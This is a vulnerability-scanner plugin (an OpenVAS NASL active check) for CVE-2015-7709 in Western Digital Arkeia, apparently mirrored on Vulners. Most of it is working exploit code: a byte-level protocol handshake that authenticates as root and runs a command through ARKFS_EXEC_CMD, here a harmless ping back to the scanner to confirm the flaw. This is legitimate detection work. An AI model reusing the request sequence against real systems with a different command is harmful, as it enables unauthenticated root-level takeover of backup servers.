Lucene search
+L

Western Digital Arkeia <= v11.0.12 RCE Vulnerability - Active Check

🗓️ 16 Aug 2016 00:00:00Reported by Copyright (C) 2016 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 23 Views

Western Digital Arkeia <= v11.0.12 RCE Vulnerability - Active Chec

Related
Refs
Code
# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:arkeia:western_digital_arkeia";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.107041");
  script_version("2026-03-12T05:56:11+0000");
  script_tag(name:"last_modification", value:"2026-03-12 05:56:11 +0000 (Thu, 12 Mar 2026)");
  script_tag(name:"creation_date", value:"2016-08-16 13:16:06 +0200 (Tue, 16 Aug 2016)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_cve_id("CVE-2015-7709");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Western Digital Arkeia <= v11.0.12 RCE Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_family("General");
  script_dependencies("gb_arkeia_virtual_appliance_detect_617.nasl", "os_detection.nasl");
  script_mandatory_keys("ArkeiaAppliance/installed");
  script_require_ports("Services/arkeiad", 617);

  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2015/Jul/54");

  script_tag(name:"summary", value:"The Western Digital Arkeia Appliance is affected by a remote
  code execution (RCE) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted request using the ARKFS_EXEC_CMD function and
  sending an ICMP Echo Request back to the scanner host.

  Notes:

  - For a successful detection of this flaw the scanner host needs to be able to directly receive
  ICMP Echo Requests (Type 8) from the target.

  - If the target is a Windows system constantly sending ICMP Echo requests to the scanner host
  (e.g. a Monitoring System) the detection routine might be not fully reliable. In this case please
  create an override for any result of this VT.");

  script_tag(name:"insight", value:"The insufficient checks on the authentication of all clients in
  arkeiad daemon can be bypassed.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to execute
  arbitrary commands with root or SYSTEM privileges.");

  script_tag(name:"affected", value:"Western Digital Arkeia Appliance version 11.0.12 and prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  exit(0);
}

include("dump.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("list_array_func.inc");
include("pcap_func.inc");

function arkeiad_recv( soc ) {

  local_var soc, len, r;

  r = recv( socket:soc, length:8 );

  if( ! r || strlen( r ) < 8 )
    return;

  len = ord( r[7] );
  if( ! len || len < 1 )
    return r;

  r += recv( socket:soc, length:len );
  return r;
}

if( ! port = get_app_port( cpe:CPE, service:"arkeiad" ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

ownhostname = this_host_name();
ownip = this_host();
src_filter = pcap_src_ip_filter_from_hostnames();
dst_filter = string( "(dst host ", ownip, " or dst host ", ownhostname, ")" );
filter = string( "icmp and icmp[0] = 8 and ", src_filter, " and ", dst_filter );

if( os_host_runs( "Windows") == "yes" )
  target_runs_windows = TRUE;

foreach connect_back_target( make_list( ownip, ownhostname ) ) {

  # nb: Always keep open_sock_tcp() after the first call of a function forking on multiple hostnames /
  # vhosts (e.g. http_get(), http_post_put_req(), http_host_name(), get_host_name(), ...). Reason: If
  # the fork would be done after calling open_sock_tcp() the child's would share the same socket
  # causing race conditions and similar.
  #
  # In this case this also includes pcap_src_ip_filter_from_hostnames() from above.
  if( ! soc = open_sock_tcp( port ) )
    continue;

  req = raw_string( 0x00, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70 ) +
        crap( data:raw_string( 0 ), length:12 ) +
        raw_string( 0xc0, 0xa8, 0x02, 0x8a ) +
        crap( data:raw_string( 0 ), length:56 ) +
        raw_string( 0x8a, 0x02, 0xa8 ) +
        raw_string( 0xc0, 0x41, 0x52, 0x4b, 0x46, 0x53 ) + # "ARKFS"
        raw_string( 0x00 ) +
        raw_string( 0x72, 0x6f, 0x6f, 0x74 ) + # "root"
        raw_string( 0x00 ) +
        raw_string( 0x72, 0x6f, 0x6f, 0x74 ) + # "root"
        crap( data:raw_string( 0 ), length:3 ) +
        raw_string( 0x34, 0x2e, 0x33, 0x2e, 0x30, 0x2d, 0x31 ) + # "4.3.0-1"
        crap( data:raw_string( 0 ), length:11 );
  send( socket:soc, data:req );
  res = arkeiad_recv( soc:soc );
  if( ! res || raw_string( 0x00, 0x60, 0x00, 0x04 ) >!< res ) {
    close( soc );
    continue;
  }

  req2 = raw_string( 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x32 ) +
         crap( data:raw_string( 0 ), length:11 );

  send( socket:soc, data:req2 );
  res2 = arkeiad_recv( soc:soc );
  if( ! res2 || raw_string( 0x00, 0x60, 0x00, 0x04 ) >!< res2 ) {
    close( soc );
    continue;
  }

  req3 = raw_string( 0x00, 0x61, 0x00, 0x04, 0x00, 0x01, 0x00, 0x1a,
                     0x00, 0x00, 0x31, 0x33, 0x39, 0x32, 0x37, 0x31,
                     0x32, 0x33, 0x39, 0x38, 0x00, 0x45, 0x4e ) +
         crap( data:raw_string( 0 ), length:11 );
  send( socket:soc, data: req3 );
  res3 = arkeiad_recv( soc:soc );
  if( ! res3 || raw_string( 0x00, 0x43, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00 ) >!< res3 ) {
    close( soc );
    continue;
  }

  req4 = raw_string( 0x00, 0x62, 0x00, 0x01, 0x00, 0x02, 0x00, 0x1b,
                     0x41, 0x52, 0x4b, 0x46, 0x53, 0x5f, 0x45, 0x58,
                     0x45, 0x43, 0x5f, 0x43, 0x4d, 0x44, 0x00, 0x31 ) +
         crap( data:raw_string( 0 ), length:11 );
  send( socket:soc, data:req4 );
  res4 = arkeiad_recv( soc:soc );
  if( ! res4 || raw_string( 0x00, 0x43, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00 ) >!< res4 ) {
    close( soc );
    continue;
  }

  vtstrings = get_vt_strings();
  vtcheck = vtstrings["ping_string"];

  if( target_runs_windows )
    command = "ping -n 5 " + connect_back_target;
  else
    command = "ping -c 5 -p " + hexstr( vtcheck ) + " " + connect_back_target;

  cmdlen = raw_string( strlen( command ) );

  req5 = raw_string( 0x00, 0x63, 0x00, 0x04, 0x00, 0x03, 0x00, 0x15,
                     0x31, 0x00, 0x31, 0x00, 0x31, 0x00, 0x30, 0x3a,
                     0x31, 0x2c ) +
         crap( data:raw_string( 0 ), length:12 ) +
         raw_string( 0x64, 0x00, 0x04, 0x00, 0x04, 0x00 ) +
         cmdlen +
         command +
         raw_string( 0x00 );

  send( socket:soc, data:req5 );
  for( i = 0; i < 3; i++ ) {

    res5 = send_capture( socket:soc, data:"", timeout:5, pcap_filter:filter );

    if( ! res5 )
      continue;

    type = get_icmp_element( icmp:res5, element:"icmp_type" );
    if( ! type || type != 8 )
      continue;

    # nb: If understanding https://datatracker.ietf.org/doc/html/rfc792 correctly the "data" field
    # should be always there. In addition at least standard Linux and Windows systems are always
    # sending data so it should be safe to check this here.
    if( ! data = get_icmp_element( icmp:res5, element:"data" ) )
      continue;

    # nb:
    # - Like seen on / in e.g.
    #   - https://ilinux.wordpress.com/2018/04/18/%DA%86%D8%B7%D9%88%D8%B1-%D9%88%D9%82%D8%AA%DB%8C-%D9%87%D9%85%D9%87-%DA%86%DB%8C%D8%B2-%D8%A8%D8%B3%D8%AA%D9%87%E2%80%8C%D8%B3%D8%AA-%D8%A8%D9%87-%D8%A7%DB%8C%D9%86%D8%AA%D8%B1%D9%86%D8%AA-%D9%85/
    #   - GS-9790
    # - We can easily rule out this one as not a valid response...
    if( "PING by PRTG" >< data )
      continue;

    if( ( target_runs_windows || vtcheck >< data ) ) {
      close( soc );
      report = 'By sending a special request it was possible to execute `' +  command + '` on the remote host.\n\nReceived answer (ICMP "Data" field):\n\n' + hexdump( ddata:data );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }

  close( soc );
}

# nb: Don't use exit(99); as we can't be sure that the target isn't affected if e.g. the scanner
# host isn't reachable by the target host or another IP is responding from our request.
exit( 0 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation